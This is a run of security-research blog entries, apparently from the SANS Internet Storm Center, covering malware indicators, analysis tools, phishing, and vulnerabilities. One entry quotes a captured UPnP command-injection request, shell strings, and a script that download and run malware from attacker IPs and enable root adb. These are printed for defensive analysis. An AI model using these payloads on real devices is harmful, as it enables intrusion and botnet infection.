• Received: from  160h.com ([46.161.42.21])
• Received: from  135798.com ([46.161.42.18])
• Received: from  whygavs.net ([46.161.42.20])

• From:  Karan Fabiano =?UTF-8?B?wqA=?= <billing@180connection.org>
• From:  Eloisa Liechty =?UTF-8?B?wqA=?= <ticket@10000tables.org>
• From:  "Edgar Blanding =?UTF-8?B?wqA=?=" <mail@160h.com>
• From:  "Jackqueline Wroblewski =?UTF-8?B?wqA=?=" <admin@135798.com>
• From:  "Toni Cerulli =?UTF-8?B?wqA=?=" <help@whygavs.net>

• Subject:  Invoice Due

• Attachment name:  Invoice.doc

Network traffic:

• 209.141.59.124 port 80 - 209.141.59.124 - GET /azo.exe
• 149.129.216.194 port 80 - briancobert.com - POST /index.php (AZORult traffic)
• 149.129.216.194 port 80 - briancobert.com - POST /index.php (AZORult traffic)
• 209.141.59.124 port 80 - 209.141.59.124 - GET /hrms.exe

Associated malware:

• SHA256 hash:  05e3783379157ed6bdc936f306d14b23927b6f682273d37f490349990532c305
• File size:  38,440 bytes
• File description:  Password-protected Word doc from malspam with macro for malware

• SHA256 hash:  a7b8e4988e9da83ac55b4613bff4bccca62e208c2fed0c850ca024163b27dc09
• File size:  348,160 bytes
• File location:  hxxp://209.141.59.124/azo.exe
• File location:  C:\Users\[username]\AppData\Local\Temp\qwerty2.exe
• File description:  First-stage malware, AZORult

• SHA256 hash:  2698c141c7fb2660fd009ce9c083022a531c28c8ae8258555027a2f7852de13d
• File size:  348,160 bytes
• File location:  hxxp://209.141.59.124/hrms.exe
• File location:  C:\Users\[username]\AppData\Local\Temp\hrms.exe
• File description:  Second-stage malware, Hermes ransomware

Contact info from the decryption instructions:

• primary email:  4234234fdssdfdsaf@tutanota.com 
• reserve email:  decryptsupport1@cock.li 

Final words

As usual, properly-administered and up-to-date Windows hosts are not likely to get infected.  System administrators and the technically inclined can also implement best practices like Software Restriction Policies (SRP) or AppLocker to prevent these types of infections.

Pcap and malware associated with today's diary can be found here.

---
Brad Duncan
brad [at] malware-traffic-analysis.net

Sometimes, you may need to provide PCAP files to third-party organizations like a vendor support team to investigate a problem with your network. I was looking for a small tool to anonymize network traffic but also to restrict data to packet headers (and drop the payload). Google pointed me to a tool called ‘TCPurify’. 

It’s an old tool (last updated in 2008) but it still makes the job! The original website is offline but it is possible to find it using the Internet Archive[1]. They are two main features that are interesting with TCPurify:

• It truncates almost all packets immediately after the last recognized header (IP or Ethernet), removing all data payload before storing the packet.
• It has the capability of randomizing some or all IP addresses (based on the network portion of the address) to mask exactly where packets are where or to while still retaining some general idea. 

The latest source code is available also through the Intenet Archive. I did not find any package ready for latest Linux distributions so, let's install it the old-way: compilation! The installation is straightforward on a standard UNIX system. The only requirement is the libpcap and C header files:

# apt-get install libpcap-dev
# wget https://web.archive.org/web/20130701155216/http://irg.cs.ohiou.edu/~eblanton/tcpurify/tcpurify-0.11.2.tar.gz
# tar xvf tcpurify-0.11.2.tar.gz
# cd tcpurify-0.11.2
# ./configure
# make install

Now, you have a single executable available in /usr/local/bin. There are different ways to use TCPurify: it can listen to packets from an interface:

# tcpurify -i eth1 -o /tmp/capture.pcap

Or from another PCAP file:

# tcpurify -r /tmp/source.pcap -o /tmp/destination.pcap

What about the anonymization of the packets? There are different modes offered: “none” (does nothing, default), “nullify” (replace all IP addresses with 0.0.0.0) or ‘table’. This one is the most interesting. It allows defining which subnets will be anonymized using filters. Those filters are save in a map file to be able to reconstruct the original PCAL if required later.

Filters are defined like this:

subnet/netmask/xformmask

Example:

192.168.0.0/0xffff0000/0xffff

This will randomize IP addresses from 192.168.0.0/16 except the network & broadcast addresses (example: '192.168.1.2' will be anonymized to '192.168.123.43')

The ‘table’ mode requires an extra argument, 'mapfile' which will point to the filename that will contain the mappings.

Here is an example of usage:

# tcpurify -i eth1 -o /tmp/test.pcap table 192.168.0.0/0xffff0000/0xffff mapfile=/tmp/test.map
^C

The tool looks a very light tcpdump clone and does not allow to fine-tune the capture session. The most important missing option is the non-support for BPF filters. This means that you can’t restrict the traffic when reading from an interface. But you could collect traffic via a regular tcpdump and then anonymize it:

# tcpdump -i eth1 -w /tmp/test.pcap port 80
# tcpurify -r /tmp/test.cap -o /tmp/test_anonymized.pcap table 192.168.0.0/0xffff0000/0xffff mapfile=/tmp/test.map

The tool is not perfect and does not follow modern standards. For example, it does not allow reading PCAP data from stdin and writing to stdout but it can be helpful in many cases. It deserve to be added to your toolbox.

[1] https://web.archive.org/web/20140203210616/irg.cs.ohiou.edu/~eblanton/tcpurify/

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

This month, Microsoft fixes 63 vulnerabilities. 2 of which have been publicly disclosed:

%%cve:2018-8414%% : This is the "Settings.ms" issue. These files were introduced in Windows 8, and they are used to create shortcuts to specific settings pages. The XML instructions for the link can lead to code execution and the user is not warned before opening the files. This has been widely exploited. For details, see the report by SpecterOps: https://posts.specterops.io/the-tale-of-settingcontent-ms-files-f1ea253e4d39

%%cve:2018-8373%%: Not a lot of details here other than the fact that this is yet another scripting engine memory corruption issue. There have been plenty like it, so exploit writers likely have already a game plan how to write yet another exploit for this problem.

Dashboard: https://patchtuesdaydashboard.com

August 2018 Security Updates

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS Technology Institute
Twitter|

Barely a month after we saw extertion emails appearing with leaked passwords (New Extortion Tricks: Now Including Your Password!), we are now seeing extortion emails with partial phone numbers.

Like this example submitted by a reader:

For a couple of emails, we were able to verify that the digits of the partial phone number match the actual phone number of the owner of the destination email address.

We don't know yet what source is used by the extortionists that provides email addresses with partial phone numbers, but I think it is unlikely to be a data breach (like with the password extortion emails).

A classic data breach with phone numbers would contain full phone numbers, and I don't see why the extortionists would mask most of the digits.

They must have another source, and that's where we ask for your help: what ideas or remarks do you have?

We came up with possible sources like whois data or password reset mechanisms, like Gmail:

Please post a comment with your idea, and if you received a similar email, please consider submitting it.

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

Reader Fred submitted a suspicious PDF received via email.

It’s a classic phishing PDF (for the Apple Store), like I have analyzed here in previous diary entries. It can be quickly analyzed with pdfid and pdf-parser, like this:

Notice the long URL, with another URL as parameter at the end: this first URL is a redirector.

The second URL, bitleyco, is an URL shortener:

It has some interesting features for an attacker, like Geotargeting and Device targeting:

And also statistics: just append a plus (+) to the URL and you get statistics. Unfortunately for me, I got a 404 for the phishing URL.

This URL shortening service is not very popular:

So you can add this domain (bitleyco dot cc) to your blocklist, your business will not be impacted.

If you know more about this URL shortener, or if it looks similar to other URL shorteners, please post a comment.

Update: I found what software it is: Premium URL Shortener.

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

A reader asked how I knew stream 53 mentioned in diary entry "Peeking into msg files" contained the body of the email.

At that time, it was just trial and error. Since then, with the information posted by readers, I was able to make more sense of the different streams, and I developed a plugin for oledump to help with the analysis of MSG files: plugin_msg.py.

A MSG file is a "Compound File Binary Format", or what I like to call an OLE file. OLE files can be analyzed with my tool oledump.py:

The second column is the size of the stream. Back then, I just peeked into the larger streams (3, 15, 53, 54) and discovered that the email body was inside stream 53.

With the information posted by readers, I was able to make more sense of this data. The third column is the stream name. The hexadecimal number at the end of the stream name, tells me what the stream contains and how it is encoded.

0x1000: Message body        <- This is the message body

Stream 53 has name __substg1.0_1000001F, and with this I know that it contains the message body (1000) and that it is UNICODE text (001F).

This information is used in plugin_msg to identify the different streams:

The plugin analyses the name of each stream, and presents the decoded information together with the beginning of the content of the stream.

To view just the output of the plugin, without the output of oledump, I use option -q:

Stream names that are not recognized by the plugin, have a qeustion mark (?) as description. To display only known streams, I use plugin option -k:

And with this output, it's easy to see that the message body is in stream 53, that it is UNICODE, and that it starts with "Dear Sir,".

I can now select stream 53 and display it as UNICODE, like this:

Didier Stevens

Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

JA3 is a method to profile the way server and clients do their SSL/ TLS handshake. It has been created by Salesforce engineers, John B. Althouse, Jeff Atkinson and Josh Atkins. Many servers and clients use different tls configurations, making this a good way of identifying applications, libraries and their corresponding versions. Each tls configuration uses its own set of ciphers, extensions and elliptic curves. 

As an example, if you look at this screenshot, it shows the same JA3 signature for multiple different useragents. This means that the same tls configuration is being used within different applications, or the same application with different useragents configured.

The same signature connects the following useragents:

• MobileSafari/604.1 CFNetwork/902.2 Darwin/17.7.0
• Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.1.1 Safari/605.1.15
• Mozilla/5.0 (iPhone; CPU iPhone OS 11_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1
• Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1
   

Taking a look at how JA3 works, it builds a signature out of the following fields which are being sent within the Client Hello message from the TLS/SSL handshake:

SSLVersion,Cipher,SSLExtension,EllipticCurve,EllipticCurvePointFormat

Which corresponds to:

769,47-53-5-10-49161-49162-49171-49172-50-56-19-4,0-10-11,23-24-25,0

Now we can md5 hash this value and the JA3 signature for this specific configuration is:

de350869b8c85de67a350c8d186f11e6

Because the Client Hello message is sent in clear, it allows fingerprinting without access to the encrypted stream. The fingerprinting works for all TLS/SSL enabled protocols. When hunting for threats, the JA3 signature can be used to correlate multiple attacks to the same tool. 

Important to know:

• when omitting the Server Name Indication, you'll get a different hash. The hash is built on the extension numbers.
• different versions of applications or operating systems will give a different hash
• a different tls configuration, gives a different hash

Many applications have implemented JA3 support, like Splunk, Suricata, Bro and many more. A complete list can be found on the github page of JA3. The README contains a link to a list of known signatures and their application / library. 

References

• https://github.com/salesforce/ja3 (ja3 repository)
• https://github.com/salesforce/ja3/tree/master/lists (list of known signatures)
• https://github.com/danielguerra69/ja3 (bro package)

Remco Verhoef (@remco_verhoef)
ISC Handler - Founder of DutchSec
PGP Key

"SegmentSmack" is yet another branded vulnerability, also known as CVE-2018–5390. It hit the "news" yesterday. Succesful exploitation may lead to a denial of service against a targeted system. At this point, not a lot is known about this vulnerability. But here are some highlights:

• Linux Kernel 4.9 is vulnerable. Older versions are not vulnerable. However, some Linux distributions like RedHat ES 6 and 7 include the vulnerable code as they backported some of the 4.9 networking code into their kernels
• An attacker should not be able to exploit this vulnerability using a spoofed IP address. The attacker needs to first establish a TCP connection which is very difficult with a spoofed address.
• It is not known how much traffic the attacker will have to send. But likely not more than a user would send in a normal TCP connection.
• The attack can be launched against any exposed TCP service (Web, Mail, DNS...)
• The vulnerable functions, tcp_collapse_ofo_queue() and tcp_prune_ofo_queue(), are used to deal with reassembling TCP segments. This likely implies that an exploit would use many out of order or otherwise abnormal packets. But this is just a guess at this point.
• If you are vulnerable, your best bet is to update. There is likely not much else you can do (e.g. firewall rules)

You can find more details here: https://www.kb.cert.org/vuls/id/962459

---
Johannes B. Ullrich, Ph.D., Dean of Research, SANS Technology Institute
Twitter|

I favor static analysis, because I want to understand, step by step, what a malicious script is doing. But I will often also perform dynamic analysis of the same sample, to build a complete picture.

A Twitter follower asked about a more complex example of numeric obfuscation in malicious scripts. It's an arms race: obfuscation can be so complex, that you don't have enough time to perform static analysis. Dynamic analysis (or emulation) is the alternative.

The example of our Twitter follower however, is not too complex for static analysis + emulation: I will extract the algebraic expressions, and since they are identical in the VBA and Python language, I will evaluate them in Python.

As can be observed, numbers-to-string.py does not yield the desired result in this example:

First with re-search.py and regular expression \d+.\d+ I extract all expressions composed of two numbers and an operator:

Then I pass this on to python-per-line.py, to evaluate these algebraic expressions in Python (using Python expression eval(line)):

And then I can use numbers-to-string.py, but with option -n 1, because this tool looks for lines with 3 numbers at least (by default):

Finally, each line (e.g. character) is joined into a single line with sets.py:

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

I created a video f the analysis of a malicious document as described in diary entry "Maldoc analysis with standard Linux tools".

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

Deobfuscating malicious scripts often involves dealing with numbers to be converted into strings, with or without calculations.
Like this PowerShell script:

This script will convert a list of numbers (100, 105, …) into a list of characters (converting each number into its corresponding ASCII value), join them together into a string and execute the command inside this string.

I have to do this kind of analysis so frequently, that a couple of years ago, I made a simple tool to help me: numbers-to-string.py.
This tool takes a text file as input, extracts numbers per line of text and produces a string for each line with at least 3 numbers. Here this tools deobfuscates the above PowerShell script:

When numbers-to-string is used without argument, it converts each number to its ASCII value (if an error occurs, because a number is too large for example, the line is silently skipped).

Often, scripts with obfuscated commands will be a bit more complex than this simple example. Like the following script, where a mathematical operation is performed on each number, before it is converted:

Converting this with numbers-to-string does not yield the desired result:

This can be fixed by providing numbers-to-string with a mathematical expression as argument to be applied for each number. It's clear that in the script, 3 is added to each number ($_ + 3). By providing expression "n + 3" to numbers-to-string, 3 will be added to each number (n) before it is converted to its ASCII value:

With this expression, the obfuscated command is properly decoded, but notice the unprintable character at the end of the decoded string:

This is because of the conversion of number 3 (from $_ + 3). It's not part of the encoded command, but nevertheless, it has been converted by numbers-to-string. One way to avoid this, is to use option --end to instruct numbers-to-string when it should stop looking for numbers, like this:

With option --end Foreach, numbers-to-string will stop looking for numbers when it encounters the string Foreach.

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

Chris D wrote in to ask: "I'll be attending the DEFCON conference in Vegas next week which we all know will be ripe with practitioners practitioning and think this would be a good opportunity to catch and observe new exploits or techniques. Is there any application or VM image that you would recommend that can run on a laptop or Pi that poses an attractive target but is purposeful in collecting security info like PCAP data and logs that I can monitor after the fact?  My thought is to have something I can carry with me while I travel and then put up on the public wifi and just see what kind of magnificent beasts I capture."

I know that DEFCON has this reputation of being "the worlds most hostile network," but I wouldn't expect to see the latest and greatest zero-days being deployed there.  The only thing I've actually seen hacked on the DEFCON network were WiFi Pineapples. It is however, and interesting opportunity to collect traffic from various protocols and media.

I've done my share of "go somewhere interesting, set up a sensor, collect traffic to play with later."  In my case, not a lot of post-game analysis ever went into what I captured, but it's a good exercise for when you get that phonecall sending you out on a real incident and you need to "go somewhere less-interesting, set up a sensor, and collect traffic."

Personally, I would add extra instrumentation to whatever laptop you take with you to use there.  Collecting firewall logs, or setting up honeypot listeners to capture traffic and trend to compare to other networks might be insightful and not require any extra hardware.

Wi-fi specific equipment to join and monitor the public wi-fi might be of interest to you, either simply join with a hardrened and instrumented system and collect what comes at you, or going a more passive approach with sniffing via kismet.  You're millage will vary depending on how they've secured it.

There will be more going on there than just Wi-fi:

• Bluetooth, which you can see what is advertising without much special hardware, or set up your own advertised service to see what comes knocking.
• Zigbee/Zwave which is somewhat popular in the IoT space.
• Sofware Defined Radio (SDR) the mind boggles at what might be available here, there's probably a lot of noise and activity on the ISM bands during some of the demonstrations and in the villages.

What portable hardware whould you suggest for a sensor, and what sort of traffic would you want to target with it?

One of the products of the Dshield project (https://isc.sans.edu/howto.html) is seeing what is trending in scanning activity (https://isc.sans.edu/trends.html).  This sometimes drives a "request for packets" like my last shift (https://isc.sans.edu/forums/diary/Request+for+Packets+Port+15454/23888/).  Most of the responses we get from such requests are logs of probes, or pcaps of SYN traffic because the ports are just not commonly used, so there's not a lot of honeypots set up for them already.

In the last reqeust I sent out, I thought of how helpful it would be to have my own open-every-port sensor to go along with my distributed closed-on-every-port sensors.  Then I imagined how my logs would fill up with SSH brute forcing, and propbes for open web proxies.  That didn't sound very fun or interesting-- but a sensor open on every port that isn't popular sounded more interesting.

To proof-of-concept this, I set up a listener for a range of ports which listened for ports 15000-16000.  This helped confirm that port 15454 wasn't the only port targeted in the scan, and it turned out to be just a boring RDP search for weak Admin sessions.

When port 52869 showed up on the trending report, I opened up 52000 through 53000 to see what landed.  This soon captured the traffic discussed in https://isc.sans.edu/forums/diary/When+Cameras+and+Routers+attack+Phones+Spike+in+CVE20148361+Exploits+Against+Port+52869/23942/

This morning's trending report noted 8983, so I retuned to ports 8000 through 9000.  Unfortunately ports 8080 and 8443 are in that range so "hello proxy probes."  Ignoring that I sit back and wait.  The sensor is on a commercial ISP in the United States, so anything IoT centric should be hitting that soon enough.

No hits on 8983 yet, but something odd hits 8545.  I'm not sure what that is off the top of my head.  Generally the strategy is:

1. search the dshield port report for user comments
2. shodan.io search
3. google

The request that came in looks like:

 The dshield report has a comment that mateches the traffic we saw:

So thanks JB, that saves me steps 2 and 3. 

Introduction

On Wednesday 2018-08-01, @dvk01uk from myonlinesecurity.co.uk tweeted about a recent example of malicious spam (malspam) pushing malware (link to tweet).  In recent weeks, this type of malspam has been pushing malware using the Agent Tesla keystroke logger.  It looks like Agent Tesla is still involved with today's malspam, but this time, it's not so straight-forward.  An Agent Tesla binary was found hiding in an animated gif.

Today's diary examines the malspam, infection traffic, and associated malware.

The email and my infected lab host

The email seems like a typical example of mass-distribution malspam.  It has a spoofed sender's address, but it isn't very convincing as an actual DHL email.  Header information follows:

• Received: from server.paperattention.com ([162.241.238.78])
• From: "DHL Express International " <dhlexpress@paperattention.com>
• Subject: Arrival Notice For BL - 01/08/2018 / Vessel - DHL ATLANTIC
• Date: 01 Aug 2018 18:07 UTC

Shown above:  Screenshot of the fake DHL email.

The link returned a zip archive that contained a file named "Arrival Notification.exe" which looks like "Arrival Notification" when the file extensions are hidden (a default setting for Microsoft Windows).  In my lab host, double-clicking Arrival Notification.exe caused it to copy itself to the user's AppData\Roaming directory.  This malware was made persistent through a script file in the Windows Startup folder.

Shown above:  Downloading malware from link in the email.

Shown above:  Malware made persistent on my infected lab host.

The traffic

Network traffic consisted of the URL from the email, which redirected to a different URL to deliver the zip archive.  After that, I saw an HTTP request to mydocuments1.is that returned an animated gif.  The final line of infection traffic was an IP address check by my infected lab host to checkip.dyndns.org.

Shown above:  Traffic from the infection filtered in Wireshark.

IP address checks may be suspicious, but they are not inherently malicious.  My suggested block list based on this infection traffic is:

• hxxp://www.rebrand.ly/dokom91cee
• hxxps://a.doko.moe/bfmcuy.zip
• Any URL to mydocuments1.is

The animated gif

The HTTP request to mydocuments1.is returned an animated gif, which is somewhat strange.  This gif was provided to Didier Stevens, who quickly found and extracted two malware binaries from it--a Windows EXE file and a Windows DLL file.  According to Didier, the malware binaries were appended to the end of the gif.  I reviewed the gif in a hex editor and found the PE headers for both files.  It was pretty easy to carve out the binaries based on that.

Shown above:  An animated gif of me reviewing the animated gif in a browser (I call it "gifception").

Shown above:  Reviewed the gif in a hex editor and found the start of the 1st malware binary.

Shown above:  Start of the 2nd malware binary when reviewing the gif in a hex editor.

Malware and artifacts

The following files are associated with this infection:

SHA256 hash: 7a8e7f7cd18c0f9e74c36fb792b46ca67a20e0851caa4a21a0f341debc23e7d9
File size: 333,431 bytes
File name: bfmcuy.zip
File location: hxxps://a.doko.moe/bfmcuy.zip
File description: Zip archive downloaded from link in the malspam

SHA256 hash: a486a258a822173a9e621252853b8eea343d20946252042b28d454aa6db98fe4
File size: 895,488 bytes
File name: Arrival Notification.exe
File location after executing: C:\Users\[username]\AppData\Roaming\kYsFdGQwnF.exe
File description: Malware from the downloaded zip archive

SHA256 hash: 96834c98d7c9e58068e78e4f4bf755a87c9c44655b4b2b4097ffc83aa3c61a3d
File size: 176 bytes
File location: C:\Users\[username]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\kYsFdGQwnF.js
File description: Script file in Windows Startup folder to keep malware persistent after reboot

SHA256 hash: 9dea34a4df20f3e2392f92d2f26dad88ba66827269431aa824c9aa8a0b80289b
File size: 641,155 bytes
File location: hxxp://mydocuments1.is/1//T/nw2lA
File description: Animated gif with 2 items of embedded malware

SHA256 hash: 81e882a394af440cea06cb490105efd721ffba30ca88ea92573d2f9ef27d2c86
File size: 197,120 bytes
File description: First file extracted from the animated gif - Windows EXE

SHA256 hash: fda201abced38c6cb1bfb82e0e42f6e48709d5dd8c8a738a4d2d47128464afcc
File size: 109,992 bytes
File description: Second file extracted from the animated gif - Windows DLL

Final words

Outside of the embedded malware in the animated gif, I couldn't find anything unusual in my lab setup.  I could not find either items of malware extracted from the gif in my infected lab host, and I didn't see any Agent Tesla-specific traffic during the infection.

Criminals have embedded malware in images before, so this is not a new trick.  Still, I don't commonly run into this technique among the mass-distribution malware I frequently see.  Embedding malware in an animated gif might provide a way to avoid detection by security solutions.  As I write this, the gif shows a detection ratio of 3 / 58 in VirusTotal.

Shown above:  Low detection rate in VirusTotal for gif with embedded malware.

As usual, properly-administered and up-to-date Windows hosts are not likely to get infected.  System administrators and the technically inclined can also implement best practices like Software Restriction Policies (SRP) or AppLocker to prevent these types of infections.

A pcap of the infection traffic, associated malware, and the email example for today's diary can be found here.

---
Brad Duncan
brad [at] malware-traffic-analysis.net

Universal Plug an Play (UPnP) is the gift that keeps on giving. One interesting issue with UPnP (aside from the fact that it never ever should be exposed to the Internet, but often is), is the fact that it can be reached via various routes. One of the lesser used routes is SOAP requests via TCP %%port:52869%%. 

%%cve:2014-8361%% is one vulnerability that is affecting the Realtek implementation of this UPnP over SOAP protocol. Realtek distributes an SDK to make it easier to implement this protocol. As part of the SDK, it ships "miniigd", which is Realtek's daemon used to listen for and parse these SOAP requests. Over the years, researchers have found a couple of vulnerabilities in this service. [1]

The spike we saw a couple of days ago was caused by the following request. I formatted the request to make it more readable and highlighted the remote code execution part.

POST /picsdesc.xml HTTP/1.1
Host: <redacted>:52869
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.18.4
SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
Content-Length: 628

<?xml version="1.0" ?>
    <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
    <s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1">
        <NewRemoteHost></NewRemoteHost>
        <NewExternalPort>47450</NewExternalPort>
        <NewProtocol>TCP</NewProtocol>
        <NewInternalPort>44382</NewInternalPort>
        <NewInternalClient>`wget http://185.159.82.110/qtx.mips -O -> /tmp/s`</NewInternalClient>
        <NewEnabled>1</NewEnabled>
        <NewPortMappingDescription>syncthing</NewPortMappingDescription>
        <NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping>
</s:Body></s:Envelope>

The problem is that the miniiigd daemon is passing the parameters to an operating system command without validation, leading to a classic remote code injection problem.

In this particular case, "qtx.mips" is well-known malware. Known enough where even the MIPS version is blocked by my desktop AV as a "Linux DDOS Agent." A quick look at the binary shows a couple of strings of interest:

CNXN
host::
OPEN
shell:cd /data/local/ tmp ; busybox wget http://77.246.157.180/r -O ->r;sh r; wget http://77.246.157.180/br -O ->r2;sh r2; busybox curl http://77.246.157.180/bc > r3;sh r3;curl http://77.246.157.180/c > r4;sh r4;rm -rf r r2 r3 r4

These strings are commonly associated with the Android debug port. I wrote about some attacks against exposed devices a while ago. In this case, it appears the script attempts to download and run additional malware via the port.

"r," "br" and "c" are no longer available at the IP address listed above, but files by the same name are available at 185.159.82.110. The files are very similar with small differences in syntax to account for different OS versions:

#!/bin/sh
n="arm7 arm5 arm mips mpsl x86 x64 i686"
http_server="185.159.82.110"

cd /data/local/tmp
rm -rf z
for i in $n
do
    cp /system/bin/sh z
    >z
    busybox curl http://$http_server/qtx.$i > z
    chmod 777 z
    ./z cbusybox.exploit.$i
    rm -rf z
done

adb start-server
adb root

The script first "brute forces" the architecture of the system by downloading versions of the "qtx" binary compiled for different platforms and running them. After running the binary, it is removed. Finally, the script turns on the Android debug bridge (ADB) and makes sure it has root permissions.

Any recent version of Android should prompt the user and ask the user to accept the remote connection. It isn't clear if this exploit only targets old versions of Android, or if they hope the user will just accept the connection.

[1] https://www.exploit-db.com/exploits/37169/

---
Johannes B. Ullrich, Ph.D., Dean of Research, SANS Technology Institute
Twitter|

Facebook accounts are still a pretty hot commodity to spread malware. No ruse works better than having a "Friend" offer you some new software or browser extension. As a result, we keep seeing attempts to phish Facebook credentials. Late last week I came across a simple example of such an attempt that in particular targeted users of mobile devices. Mobile browsers have long been an easier target for phishing. They often do not display the full URL (or any URL) to safe limited screen real estate. Many of the queues users are looking for in desktop browsers are harder to make out in mobile browsers.

This particular attack started with a simple SMS message. This technique as also been called "smishing" (SMS Phishing).

The attacker managed to obtain a hostname starting with "facebook." A vigilant user may, however, realize that this is the domain of a Bulgarian University.

Upon clicking on the link, a reasonably well-done copy of the facebook login page is displayed. Luckily, in this case, the full URL fits into the URL bar.

The attacker went even so far as to do some simple input validation. If random data is entered, an error message is displayed:

If a correctly formed e-mail address is entered, the user is redirected to the actual Facebook login page.

---
Johannes B. Ullrich, Ph.D., Dean of Research, SANS Technology Institute
Twitter|LinkedIn